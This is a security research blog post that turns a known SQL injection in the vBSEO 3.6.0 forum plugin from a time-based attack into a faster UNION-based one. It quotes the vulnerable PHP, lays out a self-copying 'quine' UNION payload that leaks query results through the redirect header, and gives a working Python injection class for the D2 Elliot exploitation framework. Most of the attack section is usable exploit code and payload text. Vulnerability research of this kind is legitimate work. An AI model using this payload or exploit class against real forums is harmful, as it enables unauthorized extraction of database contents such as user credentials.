SQL Injection exploitation with D2 Elliot: from Time-based to UNION

One year ago, an SQL injection vulnerability was reported for vBSEO 3.6.0. A parameter (aids) wasn't properly sanitized before being included in an SQL query, resulting in a supposed Time-Based Injection. As vBSEO is (was) quite common on the Internet, we decided to take a look and explore the vulnerability in detail.

Vulnerability

The "useful" code is the following:


vbseo.php:
        
[...]
if (VBSEO_REWRITE_ANNOUNCEMENT && (VBSEO_BASEURL == 'announcement.' . VBSEO_VB_EXT) && !isset($_GET['do']))
{
define('THIS_SCRIPT', 'announcement');
vbseo_get_options();
vbseo_prepare_seo_replace();
vbseo_get_forum_info();
$r_forum_id = $_GET['f'] ? $_GET['f'] : $_GET['forumid'];
$r_ann_id = $_GET['a'] ? $_GET['a'] : $_GET['announcementid'];

if (!$r_forum_id && $r_ann_id)
{
$fanna = vbseo_get_forum_announcement(0, $r_ann_id);
$anna = $fanna['announcement'];
$r_forum_id = $fanna['forumid'];
}

vbseo_get_forum_announcement($r_forum_id);
$newurl = vbseo_announcement_url($r_forum_id, $r_ann_id);

if ($newurl)
{
$is_public = vbseo_forum_is_public($vbseo_gcache['forum'][$r_forum_id], '', 1);

if ($is_public)
vbseo_safe_redirect($newurl, array(VBSEO_FORUMID_URI, 'forumid', 'a', 'announcementid'));
else
{
define('VBSEO_PRIVATE_REDIRECT_SUGGEST', $newurl);
}
}
}
[...]

We can see that vbseo_get_forum_announcement() is called twice, with different parameters:


functions_vbseo_vb.php:

function vbseo_get_forum_announcement($id, $aids = 0)
{
global $vboptions, $vbseo_gcache, $vbseo_precache, $usercache;

$ids = is_array($id) ? $id : array($id);

[...]

vbseo_int_var($ids);
$db = vbseo_get_db();
$idlist = '';

[...]

$rid = $db->vbseodb_query($q = "
SELECT
forumid,announcementid,title
FROM " . vbseo_tbl_prefix('announcement') . " AS announcement
WHERE " . ($aids?"announcementid='$aids'":"startdate <= " . (time() - $vboptions['hourdiff']) . "
AND enddate >= " . (time() - $vboptions['hourdiff']) . "
AND forumid IN (" . $idlist . ",-1)
ORDER BY startdate DESC")
);

if ($rid)
{
while ($arr = @$db->funcs['fetch_assoc']($rid))
{
$fid = $arr['forumid'];
if ($aids)$ids = array($fid);

for($i = 0; $i < count($ids); $i++)
{
if (isset($vbseo_gcache['forum'][$ids[$i]]))
{
$forum = &$vbseo_gcache['forum'][$ids[$i]];

if (($fid == -1) ||
($ids[$i] == $fid) ||
preg_match('#\b' . $fid . '\b#', $forum['parentlist']))
$forum['announcement'][$arr['announcementid']] = $arr['title'];
}
}
if ($aids)
return $arr;
}
$db->vbseodb_free_result($rid);
}

return $forum;
}

That is quite a lot of code, so let us sum it up for you:

1) Upon having only the $r_ann_id parameter, vbseo_get_forum_announcement is called.
$fanna = vbseo_get_forum_announcement(0, $r_ann_id);

2) Here comes the vulnerable SQL query:


$rid = $db->vbseodb_query($q = "
SELECT
forumid,announcementid,title
FROM " . vbseo_tbl_prefix('announcement') . " AS announcement
WHERE " . ($aids?"announcementid='$aids'":"startdate <= " . (time() - $vboptions['hourdiff']) . "
AND enddate >= " . (time() - $vboptions['hourdiff']) . "
AND forumid IN (" . $idlist . ",-1)
ORDER BY startdate DESC")
);

If we go for the time-based injection, we are done. The query was executed and we get our trigger. Let's nevertheless take a deeper look.

3) Let's now say we have results, somehow; we enter the if($rid) and the while loop.

4) The for loop is executed once, since the $ids array contains only 0 (zero). We therefore obtain:
$vbseo_gcache['forum'][0]['announcement'][$arr['announcementid']] = $arr['title'];
Therefore, the 3rd column of our SQL result, $arr['announcementid'], is stored in the $vbseo_gcache['forum'][0]['announcement'] array, under the key $arr['announcementid'], the second column of our result.

5) We reach the "return $arr;" statement. That is, the data returned by this function is the first row of the SQL results.

After this, the vbseo_announcement_url() function is called, with parameters $r_forum_id, zero in our case, and $r_ann_id, our injection string.
This function simply fetches the announcement title ($ann_title) from the cache:
$ann_title = $vbseo_gcache['forum'][0]['announcement'][$announcementid];
and returns an URL containing it. The user is then redirected to the URL.


functions_vbseo_createurl.php:

function vbseo_announcement_url($forumid, $announcementid = 0)
{
global $vbseo_gcache;
if (!$vbseo_gcache['forum'][$forumid]['announcement'])
return '';

[...]

$aid = $announcementid;

if ($announcementid)
$ann_title = $vbseo_gcache['forum'][$forumid]['announcement'][$announcementid];
else
{
[...]
}

$seo_title = vbseo_filter_replace_text($ann_title);
vbseo_forum_seotitle($vbseo_gcache['forum'][$forumid]);
$replace = array(
'%forum_id%' => $forumid,
'%forum_title%' => $vbseo_gcache['forum'][$forumid]['seotitle'],
'%announcement_title%' => $seo_title,
'%announcement_id%' => $aid,
'%forum_path%' => $vbseo_gcache['forum'][$forumid]['path'],
'%forum_page%' => $page,
);
$rets = str_replace(
    array_keys($replace),
    $replace,
    $announcementid ? VBSEO_URL_FORUM_ANNOUNCEMENT : VBSEO_URL_FORUM_ANNOUNCEMENT_ALL
);
return $rets;
}

Therefore, if we can put SQL results in $ann_title, we can fetch them easily afterwards by looking up the Location header. We've got our UNION injection. Well, not quite yet. Now comes the tricky part.

What do we control?

1) Well, first off we control $r_ann_id, which is our injection string.

2) Second, we potentially control what vbseo_get_forum_announcement() returns, since it is the result of our injected SQL query. So we control the $fanna array, which is the result of a single-row 3-column SQL query, with columns referenced as (forumid, announcementid, title).

3) vbseo_get_forum_announcement() also set values in the cache, and that is:
$vbseo_gcache['forum'][0]['announcement'][$fanna['announcementid']] = $fanna['title'];

4) We know that the value $vbseo_gcache['forum'][$forumid]['announcement'][$r_ann_id] will be contained in the Location header of the HTTP response.

Therefore, we need $r_ann_id to be equal to $fanna['announcementid']. But we also need $r_ann_id to be our injection string. Hence, the second row of our SQL result must be equal to... our SQL injection string.

The semi SQL Quine

First of, what is Quine? Let us refer to Wikipedia:
A quine is a computer program which takes no input and produces a copy of its own source code as its only output. The standard terms for these programs in the computability theory and computer science literature are self-replicating programs,self-reproducing programs, and self-copying programs.

After some Google searches, one can easily find SQL Quines. The problem here is that we do not only need the injection to self-copy itself, but also produce a result. We also have some contraints due to the fact that we need the result to be returned first, because vbseo_get_forum_announcement() returns after fetching the first result.

We figured the best way to handle this problem was to define two variables:
@x would be defined first and contain the end of the injection string, the part after the definition of @y.
@y would be defined second and contain the beginning of the injection string, including the definition of @x.

Using this scheme allows us to define @y in function of @x since @x is defined first. On the other hand, @x would not have to define @y because it doesn't include it. After some time, we came up with a solution:

'
 UNION SELECT 2,NULL,@x:=' UNION SELECT 3,NULL,@y:=CONCAT(\'\\\' UNION SELECT 2,NULL,@x:=\', quote(@x))
 UNION SELECT 1, CONCAT(@y, @x), [INNER_QUERY] ORDER BY 1 LIMIT 1 -- -'
 UNION SELECT 3,NULL,@y:=CONCAT('\' UNION SELECT 2,NULL,@x:=', quote(@x))
 UNION SELECT 1, CONCAT(@y, @x), [INNER_QUERY] ORDER BY 1 LIMIT 1 -- -

The ORDER BY 1 LIMIT 1 unsures that only the last row of these 3 UNION clauses is returned, instead of returning @x or @y.

Implementation

Now one might think that implementing it would require re-inventing the wheel and be a very annoying task, but not if we use a proper framework. Elliot represents injection methods such as Blind, Union-based, Time-based SQL injection as standard python classes. We'll now see how to create a custom injection method. The aim is to get results from an SQL statement.

The StackedMethod is one of the most used abstract class; it's only requirement is the inject() method. The injection process is the following:

1) The to-be-injected statement is transformed so that instead of producing an array of results, it produces a simple string, with results separated and marked. For instance:

SELECT username, password FROM users
would become
SELECT CONCAT([TAG], username, [SEPARATOR], password, [TAG]) FROM users

2) When possible, a method is used so that instead of producing several rows, it only produces one. That is, the whole array of SQL results is compiled as a single string.

3) This statement is fed to the inject() method, that returns the page containing the results.

4) The results are afterwards parsed out of the page.

Here is an Elliot SQL injection method designed specifically for this exploit:


class VBSEOMethod(StackedMethod):
    description = Description(StackedMethod, {
        'name': "VBSEO Injection Method",
        'performance': PERFORMANCE_ALL,
        'informations': 'This method was specifically designed for an '
                        'injection on VBSEO. Refer to the exploit.'
    })

    # Since this method is specifically designed for the vBSEO injection, we do
    # not want it to be automatically tested against other targets.
    def fingerprint(self):
        return False

    # The inject() method is commonly used to transform the statement we want
    # the results from to a valid SQL injection.
    # Here it simply follows the scheme I exposed above.
    def inject(self, statement):
        # The statement's strings are converted into hexadecimal, to unsure that
        # no quote will break our query.
        # SELECT 'ABC' -> SELECT 0x414243
        statement = self.sp.dbms.encode_quoted_strings(
            str(statement),
            encoder=encoders.hexadecimal)
            
        # Build the injection.

        injection_prelude = "' UNION SELECT 2,NULL,@x:="
        addslashed_prelude = self._addslashes(injection_prelude)
        injection_join = " UNION SELECT 3,NULL,@y:="
        injection_end = (" UNION SELECT 1, CONCAT(@y, @x), (%s) ORDER BY 1"
                         "LIMIT 1 -- -" % statement)
        injection_y = "CONCAT('%s', quote(@x))" % addslashed_prelude
        injection_x = "'%s%s%s'" % (self._addslashes(injection_join),
                                    self._addslashes(injection_y),
                                    self._addslashes(injection_end))

        injection_string = ''.join((injection_prelude, injection_x,
                                    injection_join, injection_y, injection_end))

        # Inject the query and return the response.
        return self.sp.injection(injection_string).response.content_str
        
    def _addslashes(self, string):
        t = str.maketrans({"'": "\\'", "\\": "\\\\"})
        return string.translate(t)

Let's try it out:

Conclusion

With some thinking and the help of the Elliot framework, we were able to drastically improve the time required to run the exploit. Indeed, we went from the slowest type of injection, time-based, to the fastest, union. The use of the framework allowed us to design a very specific exploitation in the matter of minutes.

Back to News

Share :   Facebook   Twitter   Google+